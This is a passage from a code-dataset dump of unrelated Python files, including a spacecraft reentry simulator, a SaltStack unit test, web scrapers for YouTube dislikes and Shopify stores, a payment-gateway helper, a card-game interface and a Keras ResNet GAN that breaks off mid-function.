capsule design\n self.m = m # mass of spacecraft in kg\n self.epoch = epoch.jd # \n self.start_time = time.time() # start time of simulation\n self.A_over_m = (self.A) / self.m # A/m\n self.gmst0 = gmst0 # Greenwich Mean Sidereal Time at epoch (degrees)\n self.thickness = 0.1 # thickness of spacecraft's heatshield in m\n self.sim_type = sim_type\n self.mat = material\n self.thermal_conductivity = material[0]\n self.specific_heat_capacity = material[1]\n self.emissivity = material[2]\n self.ablation_efficiency = material[3]\n self.dt = dt\n self.iter_fact = iter_fact\n\n def get_initial_state(self, v, lat, lon, alt, azimuth, gamma, gmst=0.0):\n # Convert geodetic to ECEF\n x_ecef, y_ecef, z_ecef = geodetic_to_spheroid(lat, lon, alt)\n r_ecef = np.array([x_ecef, y_ecef, z_ecef])\n\n # Convert velocity from polar to horizontal ENU coordinates\n azimuth_rad = DEG_TO_RAD * azimuth\n gamma_rad = DEG_TO_RAD * gamma\n v_east = v * np.sin(azimuth_rad) * np.cos(gamma_rad)\n v_north = v * np.cos(azimuth_rad) * np.cos(gamma_rad)\n v_up = v * np.sin(gamma_rad)\n v_enu = np.array([v_east, v_north, v_up])\n\n # Convert ENU to ECEF\n v_ecef = enu_to_ecef(v_enu, lat, lon)\n\n # Convert position and velocity from ECEF to ECI\n r_eci = ecef_to_eci(r_ecef, gmst)\n v_eci = ecef_to_eci(v_ecef, gmst)\n\n # Combine position and velocity to create the initial state vector\n y0 = np.concatenate((r_eci, v_eci))\n\n return y0\n\n def equations_of_motion(self, t, y):\n r_eci, v_eci = y[0:3], y[3:6]\n r_norm = euclidean_norm(r_eci)\n\n # Calculate Greenwich Mean Sidereal Time at every time step\n epoch = self.epoch + t / 86400.0 # convert seconds to days\n gmst = self.gmst0 + EARTH_OMEGA * t\n\n # Calculate ECEF position and ground velocity\n r_ecef = eci_to_ecef(r_eci, gmst)\n v_ground = eci_to_ecef(v_eci, gmst)\n v_rel = v_ground - np.array([-EARTH_OMEGA * r_ecef[1], EARTH_OMEGA * r_ecef[0], 0])\n\n # Calculate accelerations\n a_grav = -EARTH_MU * r_eci / (r_norm ** 3)\n a_J2 = J2_perturbation_numba(r_eci, k=EARTH_MU, J2=EARTH_J2, R=EARTH_R)\n moon_r = moon_position_vector(epoch)\n sun_r = sun_position_vector(epoch)\n a_moon = third_body_acceleration(r_eci, moon_r, MOON_K)\n a_sun = third_body_acceleration(r_eci, sun_r, SUN_K)\n\n altitude = r_norm - EARTH_R\n x_ecef, y_ecef, z_ecef = r_ecef\n latitude, _, _ = ecef_to_geodetic(x_ecef, y_ecef, z_ecef)\n rho, T = atmosphere_model(altitude, latitude, epoch)\n\n # Calculate drag acceleration\n a_drag_ecef = atmospheric_drag(Cd=self.Cd, A=self.A, atmospheric_rho=rho, v=v_rel, mass=self.m)\n a_drag = ecef_to_eci(a_drag_ecef, gmst)\n\n # Calculate surface temperature\n q_gen, q_c, q_r, q_net, T_s, dT = spacecraft_temperature(v_rel, T, a_drag, self.height, self.dt, self.thermal_conductivity ,self.specific_heat_capacity, self.emissivity, self.ablation_efficiency, self.iter_fact, self.m)\n # Calculate total acceleration\n a_total = a_grav + a_J2 + a_moon + a_sun + a_drag\n\n return {\n 'velocity': v_eci,\n 'acceleration': a_total,\n 'gravitational_acceleration': a_grav,\n 'J2_acceleration': a_J2,\n 'moon_acceleration': a_moon,\n 'drag_acceleration': a_drag,\n 'altitude': altitude,\n 'sun_acceleration': a_sun,\n 'spacecraft_temperature': T_s,\n 'spacecraft_heat_flux': q_net,\n 'spacecraft_heat_flux_conduction': q_c,\n 'spacecraft_heat_flux_radiation': q_r,\n 'spacecraft_heat_flux_total': q_gen,\n 'spacecraft_temperature_change': dT,\n }\n\n \n def run_simulation(self, t_span, y0, t_eval, progress_callback=None):\n def rhs(t, y):\n dy = self.equations_of_motion(t, y)\n return np.concatenate((dy['velocity'], dy['acceleration']))\n\n \n def altitude_event(t, y):\n r = y[0:3]\n r_norm = euclidean_norm(r)\n altitude = r_norm - EARTH_R\n # Add a tolerance value to avoid triggering the event too close to the atmospheric boundary\n return altitude - 1000.0\n \n altitude_event.terminal = True\n altitude_event.direction = -1\n\n def progress_event(t, y):\n if progress_callback is not None:\n progress = min((t - t_span[0]) / (t_span[1] - t_span[0]), 1.0) # Make sure progress doesn't exceed 1.0\n elapsed_time = time.time() - self.start_time\n progress_callback(progress, elapsed_time)\n return 0\n\n progress_event.terminal = False\n progress_event.direction = 0\n\n sol = solve_ivp(rhs, t_span, y0, method=self.sim_type, t_eval=t_eval, rtol=1e-8, atol=1e-10, events=[altitude_event, progress_event])\n additional_data_list = [self.equations_of_motion(t, y) for t, y in zip(sol.t, sol.y.T)]\n sol.additional_data = {key: np.array([d[key] for d in additional_data_list]) for key in additional_data_list[0].keys()}\n return sol\n \n","repo_name":"JMMonte/Reentry","sub_path":"spacecraft_model.py","file_name":"spacecraft_model.py","file_ext":"py","file_size_in_byte":20190,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"78"} +{"seq_id":"73538431611","text":"\"\"\"\nBy Tom Rust\nGitHub : https://github.com/tomrusteze\n\"\"\"\n\nimport pandas as pd\nimport requests, sys, time, csv\n\nSLEEP = 1\n\n\ndef get_dislikes(id, title):\n request = requests.get(f\"https://returnyoutubedislikeapi.com/votes?videoId={id}\", timeout=5)\n try:\n dislikes = request.json()[\"dislikes\"]\n except:\n dislikes = 0\n print(\"Got\", dislikes ,\"dislikes for\", title)\n time.sleep(SLEEP)\n return dislikes\n\n\nif __name__ == \"__main__\":\n if len(sys.argv) != 2:\n print(f\"Usage: {sys.argv[0]} videos.csv\")\n exit()\n\n FILE_NAME = sys.argv[1]\n \n df_video = pd.read_csv(FILE_NAME)\n df_video['dislikes'] = df_video.drop_duplicates(subset=['video_id']).apply(lambda row: get_dislikes(row['video_id'], row['title']), axis = 1)\n df_video.to_csv(f\"{FILE_NAME}\", encoding='utf-8', index=False, quotechar='\"', quoting=csv.QUOTE_NONNUMERIC) ","repo_name":"tomrusteze/youtube-scraper","sub_path":"dislike_scraper.py","file_name":"dislike_scraper.py","file_ext":"py","file_size_in_byte":885,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"12855030534","text":"import pytest\n\nimport salt.states.smartos as smartos\nfrom salt.utils.odict import OrderedDict\nfrom tests.support.mock import patch\n\n\n@pytest.fixture\ndef configure_loader_modules():\n return {smartos: {\"__opts__\": {\"test\": False}}}\n\n\ndef test_config_present_does_not_exist():\n \"\"\"\n Test salt.states.smartos.config_present\n when the config files does not exist\n \"\"\"\n name = \"test\"\n value = \"test_value\"\n with patch(\"os.path.isfile\", return_value=False):\n with patch(\"salt.utils.atomicfile.atomic_open\", side_effect=IOError):\n ret = smartos.config_present(name=name, value=value)\n assert not ret[\"result\"]\n assert ret[\n \"comment\"\n ] == 'Could not add property {} with value \"{}\" to config'.format(name, value)\n\n\ndef test_parse_vmconfig_vrrp():\n \"\"\"\n Test _parse_vmconfig's vrid -> mac convertor\n\n SmartOS will always use a mac based on the vrrp_vrid,\n so we will replace the provided mac with the one based\n on this value.\n\n Doing so ensures that 'old' nics are removed and 'new'\n nics get added as these actions are keyed on the mac\n property.\n \"\"\"\n # NOTE: vmconfig is not a full vmadm payload,\n # this is not an issue given we are only testing\n # the vrrp_vrid to mac conversions\n ret = smartos._parse_vmconfig(\n OrderedDict(\n [\n (\n \"nics\",\n OrderedDict(\n [\n (\n \"00:00:5e:00:01:01\",\n OrderedDict(\n [\n (\"vrrp_vrid\", 1),\n (\"vrrp_primary_ip\", \"12.34.5.6\"),\n ]\n ),\n ),\n (\n \"00:00:5e:00:01:24\",\n OrderedDict(\n [\n (\"vrrp_vrid\", 240),\n (\"vrrp_primary_ip\", \"12.34.5.6\"),\n ]\n ),\n ),\n (\n \"00:22:06:00:00:01\",\n OrderedDict([(\"ips\", [\"12.34.5.6/24\"])]),\n ),\n ]\n ),\n )\n ]\n ),\n {\"nics\": \"mac\"},\n )\n\n # NOTE: nics.0 is a vrrp nic with correct mac (check mac == vrid based -> unchanged)\n assert ret[\"nics\"][0][\"mac\"] == \"00:00:5e:00:01:01\"\n\n # NOTE: nics.1 is a vrrp nic with incorrect mac (check mac == vrid based -> changed)\n assert ret[\"nics\"][1][\"mac\"] == \"00:00:5e:00:01:f0\"\n\n # NOTE: nics.2 was not a vrrp nic (check mac was not changed)\n assert ret[\"nics\"][2][\"mac\"] == \"00:22:06:00:00:01\"\n","repo_name":"saltstack/salt","sub_path":"tests/pytests/unit/states/test_smartos.py","file_name":"test_smartos.py","file_ext":"py","file_size_in_byte":2992,"program_lang":"python","lang":"en","doc_type":"code","stars":13606,"dataset":"github-code","pt":"78"} +{"seq_id":"27459408998","text":"# import packages\nimport scrapy\nfrom scrapy.crawler import CrawlerProcess\nfrom scrapy.selector import Selector\nimport csv\nimport json\nimport os\nfrom bs4 import BeautifulSoup\nfrom multiprocessing import Process\n\nclass Shopify(scrapy.Spider):\n name = 'shopify'\n\n base_url = 'https://www.shopistores.com/areas/11/'\n\n # headers\n headers = {\n \"user-agent\": \"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36\"\n }\n\n house = 0\n\n results = []\n\n file = 'shopify.csv'\n try:\n if (os.path.exists(file)) and (os.path.isfile(file)):\n os.remove(file)\n else:\n print('file not found')\n except OSError:\n pass\n # custom settings\n custom_settings = {\n #'FEED_FORMAT': 'csv',\n #'FEED_URI' : 'shopify.csv',\n 'CONCURRENT_REQUEST_PER_DOMAIN': 6,\n 'CONCURRENT_REQUESTS_PER_IP' : 6,\n 'DOWNLOAD_DELAY': 1,\n 'DOWNLOAD_TIMEOUT' : 10,\n 'AUTO_THROTTLE' : False,\n\n\n }\n\n def start_requests(self):\n yield scrapy.Request(\n url = self.base_url,\n headers = self.headers,\n callback = self.parse_pagination\n )\n def parse_pagination(self, response):\n\n for page in range(0, 10):\n next_page = self.base_url + str(page)\n print('\\nnext_page\\n',next_page)\n\n yield response.follow(\n url = next_page,\n headers = self.headers,\n callback = self.parse_listing\n )\n\n\n def parse_listing(self,response):\n\n content = ''\n\n with open('shopify.html', 'r') as f:\n for line in f.read():\n content += line\n\n response = Selector(text = content)\n\n\n for i in response.css('#content-container-tbl'):\n\n\n\n features = {\n 'Name' :[j.get().strip() for j in i.css('td[data-title = \"Store\"]::text')]\n,\n 'Website' : i.css('table#content-container-tbl tbody tr td[data-title = \"Store\"] a::attr(href)').get().strip('https://nullrefer.com/?'),\n 'Facebook' : '',\n 'Twitter' : '',\n 'Instagram' : '',\n 'Pinterest' :'',\n 'Snapchat' : '',\n 'Youtube' : '',\n\n }\n\n try:\n facebook = response.css('.social_link:nth-child(1)::attr(href)').get()\n features['Facebook'] = facebook\n except:\n features['Facebook'] = 'None'\n\n try:\n twitter = response.css('.social_link:nth-child(2)::attr(href)').get()\n features['Twitter'] = twitter\n except:\n features['Twitter'] = 'None'\n\n try:\n instagram = response.css('.social_link:nth-child(3)::attr(href)').get()\n features['Instagram'] = instagram\n except:\n features['Instagram'] = 'None'\n\n try:\n pinterest = response.css('.social_link:nth-child(4)::attr(href)').get()\n features['Pinterest'] = pinterest\n except:\n features['Pinterest'] = 'None'\n\n try:\n snapchat = response.css('.social_link:nth-child(5)::attr(href)').get()\n features['Snapchat'] = snapchat\n except:\n features['Snapchat'] = 'None'\n\n try:\n youtube = response.css('.social_link:nth-child(6)::attr(href)').get()\n features['Snapchat'] = youtube\n except:\n features['Youtube'] = 'None'\n\n\n print(features)\n\n\n\n\n# #print(json.dumps(features, indent = 2))\n# self.results.append(features)\n# headers = features.keys()\n#\n#\n# with open('shopify.csv', 'w', newline='', encoding='utf-8') as csv_file:\n# writer = csv.DictWriter(csv_file, delimiter = ',',fieldnames = headers)\n# writer.writeheader()\n# writer.writerows(self.results)\n#\n\n\n\n\n\n\n# main driver\nif __name__ == '__main__':\n# def crawl():\n# process = CrawlerProcess()\n# process.crawl(Shopify)\n# process.start()\n Shopify.parse_listing(Shopify, '')\n\n# process = Process(target=crawl)\n# process.start()\n# print(process)\n","repo_name":"danishkhangithub/scrapers3","sub_path":"shopify/shopify.py","file_name":"shopify.py","file_ext":"py","file_size_in_byte":4230,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"78"} +{"seq_id":"48274386897","text":"#!/usr/bin/python\n# -*- encoding: utf-8 -*-\n\nfrom django.utils.datetime_safe import datetime\nfrom django.conf import settings\nimport simplejson\n\nfrom gerencianet.entities import GatewayInformation, GatewayPayment, GatewayTransactionHistory\nfrom gerencianet.exceptions import GatewayGerenciaNetError\nfrom gerencianet.repository import insert_success_log, insert_error_log\nfrom gerencianet.services import do_gateway_post\n\n\ndef get_payment_link(email, plan, identifier=None, redirect_url=settings.GERENCIANET_REDIRECT_URL):\n timestamp = datetime.now().microsecond\n\n if identifier is None:\n identifier = '{0};{1};{2}'.format(email, plan.code, timestamp)\n\n items = list()\n value = int((\"%.2f\" % plan.value).replace('.', ''))\n items.append(dict(itemValor=value, itemDescricao=plan.description))\n\n data = dict(\n itens=items, periodicidade=plan.periodicity, cliente=dict(email=email),\n retorno=dict(urlNotificacao=settings.GERENCIANET_NOTIFICATION_URL,\n url=redirect_url, identificador=identifier),\n )\n\n url_payment = settings.GERENCIANET_PAYMENT_URL\n if plan.recurrent is True:\n url_payment = settings.GERENCIANET_RECURRENT_PAYMENT_URL\n\n post_headers = {'content-type': 'application/x-www-form-urlencoded'}\n data_json = simplejson.dumps(data)\n post_data = dict(token=settings.GERENCIANET_TOKEN, dados=data_json)\n gateway_response = do_gateway_post(url_payment, post_data, post_headers)\n transaction = gateway_response['resposta']['transacao']\n link = gateway_response['resposta']['link']\n\n return GatewayPayment(identifier, transaction, link)\n\n\ndef get_notification_info(notification):\n data = simplejson.dumps(dict(notificacao=notification))\n post_headers = {'content-type': 'application/x-www-form-urlencoded'}\n post_data = dict(token=settings.GERENCIANET_TOKEN, dados=data)\n url = settings.GERENCIANET_NOTIFICATION_INFO_URL\n\n try:\n gateway_response = do_gateway_post(url, post_data, post_headers)\n insert_success_log(notification, None, gateway_response, gateway_response['resposta'].get('identificador'))\n\n identifier = gateway_response['resposta'].get('identificador')\n transaction = gateway_response['resposta'].get('transacao')\n\n history = list()\n for h in gateway_response['resposta']['historico']:\n action = h['acao']\n date = h['data']\n status_h = h['codigoStatus']\n history.append(GatewayTransactionHistory(action, date, status_h))\n\n return GatewayInformation(transaction, identifier, history)\n\n except GatewayGerenciaNetError as gge:\n insert_error_log(notification, None, {\"message\": gge.message}, None)\n return None\n\n\n","repo_name":"sidneycarlos65/django-gerencianet","sub_path":"gerencianet/gateway.py","file_name":"gateway.py","file_ext":"py","file_size_in_byte":2745,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"70357173371","text":"import random\nimport time\n\ndef monitor_environment():\n # Simulate monitoring of environmental conditions\n temperature = random.uniform(15, 35) # Example: Temperature in Celsius\n humidity = random.uniform(20, 80) # Example: Humidity percentage\n return temperature, humidity\n\ndef should_switch_task(temperature):\n # Define a threshold for switching tasks\n threshold_temperature = 30 # Example: Switch tasks if temperature exceeds 30°C\n return temperature > threshold_temperature\n\ndef switch_task():\n # Implement logic for task switching\n print(\"Switching tasks due to changing environmental conditions.\")\n # Add code to select and initiate the new task\n available_tasks = [\"TaskA\", \"TaskB\", \"TaskC\"] # List of available tasks\n selected_task = random.choice(available_tasks)\n print(f\"Selected task: {selected_task}\")\n # Implement logic for the selected task\n\nwhile True:\n temperature, humidity = monitor_environment()\n if should_switch_task(temperature):\n switch_task()\n # Add a delay to avoid continuous monitoring\n time.sleep(5) # Delay for 5 seconds (adjust as needed)\n","repo_name":"TeamSphere/sphere","sub_path":"builder/Sentience/Cognitive_Control_Layer/task_switching.py","file_name":"task_switching.py","file_ext":"py","file_size_in_byte":1136,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"78"} +{"seq_id":"22370663499","text":"#!/usr/bin/env python3\n\n\ndef say_welcome():\n \"\"\"Print welcome information.\"\"\"\n print_message(\"Welcome to Switch v1.1\")\n\n\ndef print_game_menu():\n \"\"\"Introduce the user to the menu options.\"\"\"\n print(\"\\nPlease select from one of the following options: [1-2]\")\n print(\"1 - New Game\")\n print(\"2 - Exit\")\n\n\ndef print_player_info(player, top_card, hands):\n \"\"\"Print player information.\n\n Parameters:\n player -- info about the player\n top_card -- top card on the discard pile\n hands -- cards in the hand of the player\n\n Returns:\n Information about the player's hand and what is the top discard card.\n \"\"\"\n print(\"\\nHANDS: \" + str(hands))\n print(\"PLAYER: \" + player.name)\n if not player.is_ai:\n print('HAND: ' + ', '.join(str(card) for card in player.hand))\n print('TOP CARD: ' + str(top_card))\n\n\ndef print_discard_result(discarded, card):\n \"\"\"Print info about discard process.\n\n Parameters:\n discarded -- the card that has been discarded.\n card -- the card that was going to be discarded.\n\n Returns:\n Print statement about which card was discarded or that it wasn't possible to discard it.\n \"\"\"\n if discarded:\n print(\"Discarded: \" + str(card) + \"\\n\")\n else:\n print(\"Unable to discard card: \" + str(card))\n\n\ndef print_winner_of_game(player):\n \"\"\"Print winner information.\n\n Parameters:\n player -- player who won\n\n Returns:\n Print a winning statement with the winner's name.\n \"\"\"\n print_message('\\n'+80*'-')\n print_message(\"Woohoo!!! Winner of the game is: \" + player.name)\n print_message(80*'-')\n\n\ndef say_goodbye():\n \"\"\"Say goodbye to the player.\"\"\"\n print_message(\"Goodbye!\")\n\n\ndef print_message(msg):\n print(msg)\n\n\n# helper method for get_int_input method\ndef convert_to_int(string):\n \"\"\"Converts string to int.\"\"\"\n result = -1\n try:\n result = int(string)\n except Exception:\n pass\n return result\n\n\n# methods get information from user\ndef get_int_input(min, max):\n \"\"\"Get int value from user.\n\n Parameter:\n min -- the minimal integer value the player can input\n max -- the maximal integer value the player can input\n\n Returns:\n What integer did the player input.\n \"\"\"\n choice = -1\n while choice < min or choice > max:\n print(\"> \", end=\"\")\n choice = convert_to_int(input())\n if choice < min or choice > max:\n print(f\"Try again: Input should be an integer between [{min:d}-{max:d}]\")\n return choice\n\n\ndef get_string_input():\n \"\"\"Get word from user.\"\"\"\n print(\"> \", end=\"\")\n s = input()\n return s\n\n\ndef get_player_information(MAX_PLAYERS):\n \"\"\"Get player information.\n\n This method collects all the information about real life players who enter the game as well as\n creates AI players which need to enter the game for it to run (at least 2 players must be playing).\n It assigns names to the AI players and then chooses which will join current game.\n\n Parameters:\n MAX_PLAYERS -- the maximum number of players in this game (always 4).\n\n Returns:\n The final list of players playing the current game.\n \"\"\"\n import random\n from players import Player, SimpleAI, SmartAI\n\n # create players list\n players = []\n # how many human players?\n print(\"\\nHow many human players [1-4]:\")\n no_of_players = get_int_input(1, MAX_PLAYERS)\n # for each player, get name\n for i in range(no_of_players):\n print(\"Please enter the name of player \" + str(i + 1) + \":\")\n players.append(Player(get_string_input()))\n\n ai_names = ['Angela', 'Bart', 'Charly', 'Dorothy']\n\n # how many AI players? ensure there are at least 2 players\n min = 1 if (len(players) == 1) else 0\n max = MAX_PLAYERS - no_of_players\n print(f\"\\nHow many ai players [{min:d}-{max:d}]:\")\n no_of_players = get_int_input(min, max)\n # for each ai player, get name\n for name in ai_names[:no_of_players]:\n if random.choice([True, False]):\n players.append(SimpleAI(name))\n else:\n players.append(SmartAI(\"Smart \"+name))\n\n return players\n\n\ndef select_card(cards):\n \"\"\"Asks the player to select a card from their hand.\n\n Parameters:\n cards -- the cards in the player's hand.\n\n Returns:\n The card that has been chosen by the player.\n \"\"\"\n print(f\"Please select from one of the following cards: [1-{len(cards):d}]\")\n for i, card in enumerate(cards, 1):\n print(str(i) + \" - \" + str(card))\n\n # get choice\n choice = get_int_input(0, len(cards))\n # get card\n if choice == 0:\n return None\n return cards[choice - 1]\n\n\ndef select_player(players):\n \"\"\"Asks a player to select another player.\n\n Parameters:\n players -- a list of players currently playing the game.\n\n Returns:\n Which player has been chosen.\n \"\"\"\n print(f\"Please select from one of the following players: [1-{len(players):d}]\")\n # print out for each player in players\n for i in range(len(players)):\n p = players[i]\n print(f\"{i + 1:d} - {p.name}={len(p.hand):d}\")\n\n # get choice\n choice = get_int_input(1, len(players))\n # get player\n return players[choice - 1]\n","repo_name":"IgaIgs/SwitchGameFix","sub_path":"user_interface.py","file_name":"user_interface.py","file_ext":"py","file_size_in_byte":5289,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"3177109941","text":"from typing import Optional\n\n\n# Definition for a binary tree node.\nclass TreeNode:\n def __init__(self, val=0, left=None, right=None):\n self.val = val\n self.left = left\n self.right = right\n\n\nclass Solution:\n def maxLevelSum(self, root: Optional[TreeNode]) -> int:\n ret, lv = 0, 1\n max = -1 << 31\n queue = [root]\n\n while len(queue):\n size = len(queue)\n sum = 0\n for _ in range(size):\n head = queue[0]\n sum += head.val\n if head.left:\n queue.append(head.left)\n if head.right:\n queue.append(head.right)\n queue = queue[1:]\n if sum > max:\n ret = lv\n max = sum\n lv += 1\n\n return ret\n","repo_name":"i-am-harveyt/MyLeetCodePractice","sub_path":"python/1161.py","file_name":"1161.py","file_ext":"py","file_size_in_byte":835,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"71106073531","text":"# -*- coding: utf-8 -*-\n\"\"\"ResNet50 model for Keras.\n\n# Reference:\n\n- [Deep Residual Learning for Image Recognition](https://arxiv.org/abs/1512.03385)\n\nAdapted from code contributed by BigMoyan.\n\"\"\"\nfrom __future__ import print_function\nfrom __future__ import absolute_import\n\nimport warnings\n\nfrom keras.layers import Input\nfrom keras import layers\nfrom keras.layers import Dense\nfrom keras.layers import Activation\nfrom keras.layers import Flatten\nfrom keras.layers import Conv1D\nfrom keras.layers import AveragePooling1D\nfrom keras.layers import GlobalAveragePooling1D\nfrom keras.layers import BatchNormalization, Reshape, Concatenate\nfrom keras.models import Model\nfrom keras import backend as K\nfrom keras.engine.topology import get_source_inputs\nfrom keras.utils import layer_utils\nfrom keras.utils.data_utils import get_file\nfrom keras.applications.imagenet_utils import decode_predictions\nfrom keras.applications.imagenet_utils import preprocess_input\nfrom keras.applications.imagenet_utils import _obtain_input_shape\n\nfrom keras.layers.advanced_activations import LeakyReLU\nfrom keras.layers import Conv2DTranspose, Lambda\nimport tensorflow as tf\n\nfrom tools import Conv1DTranspose\n\n\n\n\ndef identity_block(input_tensor, kernel_size, filters, stage, block):\n \"\"\"The identity block is the block that has no conv layer at shortcut.\n\n # Arguments\n input_tensor: input tensor\n kernel_size: default 3, the kernel size of middle conv layer at main path\n filters: list of integers, the filterss of 3 conv layer at main path\n stage: integer, current stage label, used for generating layer names\n block: 'a','b'..., current block label, used for generating layer names\n\n # Returns\n Output tensor for the block.\n \"\"\"\n filters1, filters2, filters3 = filters\n conv_name_base = 'res' + str(stage) + block + '_branch'\n bn_name_base = 'bn' + str(stage) + block + '_branch'\n\n if input_tensor.get_shape().as_list()[-1] != filters3:\n # print('convert ', input_tensor.get_shape().as_list()[-1], 'to', filters3)\n input_tensor = Conv1D(filters3, 1, name=conv_name_base + 'conv')(input_tensor)\n input_tensor = BatchNormalization(name=bn_name_base + 'conv')(input_tensor)\n input_tensor = LeakyReLU(alpha=0.3)(input_tensor)\n\n\n x = Conv1D(filters1, 1, name=conv_name_base + '2a')(input_tensor)\n x = BatchNormalization(name=bn_name_base + '2a')(x)\n x = LeakyReLU(alpha=0.3)(x)\n\n x = Conv1D(filters2, kernel_size,\n padding='same', name=conv_name_base + '2b')(x)\n x = BatchNormalization(name=bn_name_base + '2b')(x)\n x = LeakyReLU(alpha=0.3)(x)\n\n x = Conv1D(filters3, 1, name=conv_name_base + '2c')(x)\n x = BatchNormalization(name=bn_name_base + '2c')(x)\n\n x = layers.add([x, input_tensor])\n x = LeakyReLU(alpha=0.3)(x)\n return x\n\n\ndef conv_block(input_tensor, kernel_size, filters, stage, block, strides=2):\n \"\"\"A block that has a conv layer at shortcut.\n\n # Arguments\n input_tensor: input tensor\n kernel_size: default 3, the kernel size of middle conv layer at main path\n filters: list of integers, the filterss of 3 conv layer at main path\n stage: integer, current stage label, used for generating layer names\n block: 'a','b'..., current block label, used for generating layer names\n\n # Returns\n Output tensor for the block.\n\n \"\"\"\n filters1, filters2, filters3 = filters\n conv_name_base = 'res' + str(stage) + block + '_branch'\n bn_name_base = 'bn' + str(stage) + block + '_branch'\n\n x = Conv1D(filters1, 1, strides=strides,\n name=conv_name_base + '2a')(input_tensor)\n x = BatchNormalization(name=bn_name_base + '2a')(x)\n x = LeakyReLU(alpha=0.3)(x)\n\n x = Conv1D(filters2, kernel_size, padding='same',\n name=conv_name_base + '2b')(x)\n x = BatchNormalization(name=bn_name_base + '2b')(x)\n x = LeakyReLU(alpha=0.3)(x)\n\n x = Conv1D(filters3, 1, name=conv_name_base + '2c')(x)\n x = BatchNormalization(name=bn_name_base + '2c')(x)\n\n shortcut = Conv1D(filters3, 1, strides=strides,\n name=conv_name_base + '1')(input_tensor)\n shortcut = BatchNormalization(name=bn_name_base + '1')(shortcut)\n\n x = layers.add([x, shortcut])\n x = LeakyReLU(alpha=0.3)(x)\n return x\n\n\ndef deconv_block(input_tensor, kernel_size, filters, stage, block, strides=2):\n \"\"\"A block that has a deconv layer at shortcut.\n\n # Arguments\n input_tensor: input tensor\n kernel_size: default 3, the kernel size of middle conv layer at main path\n filters: list of integers, the filterss of 3 conv layer at main path\n stage: integer, current stage label, used for generating layer names\n block: 'a','b'..., current block label, used for generating layer names\n\n # Returns\n Output tensor for the block.\n \"\"\"\n filters1, filters2, filters3 = filters\n conv_name_base = 'res' + str(stage) + block + '_branch'\n bn_name_base = 'bn' + str(stage) + block + '_branch'\n\n x = Conv1DTranspose(inputs=input_tensor,\n filters=filters1,\n kernel_size=1,\n strides=strides,\n padding='same')\n \n x = BatchNormalization(name=bn_name_base + '2a')(x)\n x = LeakyReLU(alpha=0.3)(x)\n\n x = Conv1DTranspose(inputs=x,\n filters=filters2,\n kernel_size=kernel_size,\n strides=1,\n padding='same')\n x = BatchNormalization(name=bn_name_base + '2b')(x)\n x = LeakyReLU(alpha=0.3)(x)\n\n x = Conv1DTranspose(inputs=x,\n filters=filters3,\n kernel_size=kernel_size,\n strides=1,\n padding='same')\n x = BatchNormalization(name=bn_name_base + '2c')(x)\n\n shortcut = Conv1DTranspose(inputs=input_tensor,\n filters=filters3,\n kernel_size=kernel_size,\n strides=strides,\n padding='same')\n shortcut = BatchNormalization(name=bn_name_base + '1')(shortcut)\n\n x = layers.add([x, shortcut])\n x = LeakyReLU(alpha=0.3)(x)\n return x\n\ndef ResNetDiscriminator(c):\n \"\"\"\n Returns\n A Keras model instance.\n \"\"\"\n print('#'*10, ' Create discriminator ', '#'*10)\n DICT_SIZE = len(c.char_to_class)\n signal_input = Input(shape=(c.audio_size,))\n x = Reshape([c.audio_size, 1])(signal_input)\n x = Conv1D(\n 64, 7, strides=2, padding='same', name='conv1')(x)\n x = BatchNormalization(name='bn_conv1')(x)\n x = LeakyReLU(alpha=0.3)(x)\n for i in range(1, c.n_compress_block+1):\n x = conv_block(x, 3,\n [i**2*c.convo_size, i**2*c.convo_size, 4*i**2*c.convo_size],\n stage=i, block='a')\n x = identity_block(x, 3,\n [i**2*c.convo_size, i**2*c.convo_size, 4*i**2*c.convo_size],\n stage=i, block='b')\n x = identity_block(x, 3,\n [i**2*c.convo_size, i**2*c.convo_size, 4*i**2*c.convo_size],\n stage=i, block='c')\n print('x', x)\n \n out_chars = conv_block(x, 3,\n [8**2*c.convo_size, 8**2*c.convo_size, 4*8**2*c.convo_size],\n stage=42, block='a')\n out_chars = conv_block(out_chars, 3,\n [7**2*c.convo_size, 7**2*c.convo_size, 4*7**2*c.convo_size],\n stage=43, block='a')\n out_chars = Conv1D(DICT_SIZE, 1, padding='same')(out_chars)\n out_chars = Activation('softmax', name='out_chars')(out_chars)\n print('out_chars', out_chars)\n\n true_fake_many = identity_block(x, 3,\n [256, 256, 4*256],\n stage=44, block='c')\n true_fake_many = Conv1D(1, 1)(true_fake_many)\n true_fake_many = Reshape([256,])(true_fake_many)\n true_fake_many = Activation('sigmoid', name='true_fake_many')(true_fake_many)\n print('true_fake_many', true_fake_many)\n\n true_fake_1 = Conv1D(1024, 3, strides=1)(x)\n true_fake_1 = Conv1D(1, 1)(true_fake_1)\n true_fake_1 = GlobalAveragePooling1D()(true_fake_1)\n true_fake_1 = Activation('sigmoid', name='true_fake_1')(true_fake_1)\n print('true_fake_1', true_fake_1)\n # Create model.\n model = Model(inputs=signal_input, outputs=[out_chars,\n true_fake_many,\n true_fake_1])\n\n return model\n\n\ndef ResNetGenerator(c):\n \"\"\"\n Returns\n A Keras model instance.\n \"\"\"\n print('#'*10, ' Create generator ', '#'*10)\n net = {}\n signal_input = Input(shape=(c.audio_size,))\n x = Reshape([c.audio_size, 1])(signal_input)\n\n\n # COMPRESS\n x = Conv1D(\n 64, 7, strides=2, padding='same', name='conv1')(x)\n x = BatchNormalization(name='bn_conv1')(x)\n x = LeakyReLU(alpha=0.3)(x)\n print('COMPRESSION')\n print(c.audio_size, '-> ', x.get_shape().as_list())\n\n for i in range(1, c.n_compress_block+1):\n net[i] = x\n print(x.get_shape().as_list(), '-> ', end='')\n x = conv_block(x, 3,\n [i**2*c.convo_size, i**2*c.convo_size, 4*i**2*c.convo_size],\n stage=i, block='a')\n print(x.get_shape().as_list()) \n x = identity_block(x, 3,\n [i**2*c.convo_size, i**2*c.convo_size, 4*i**2*c.convo_size],\n stage=i, 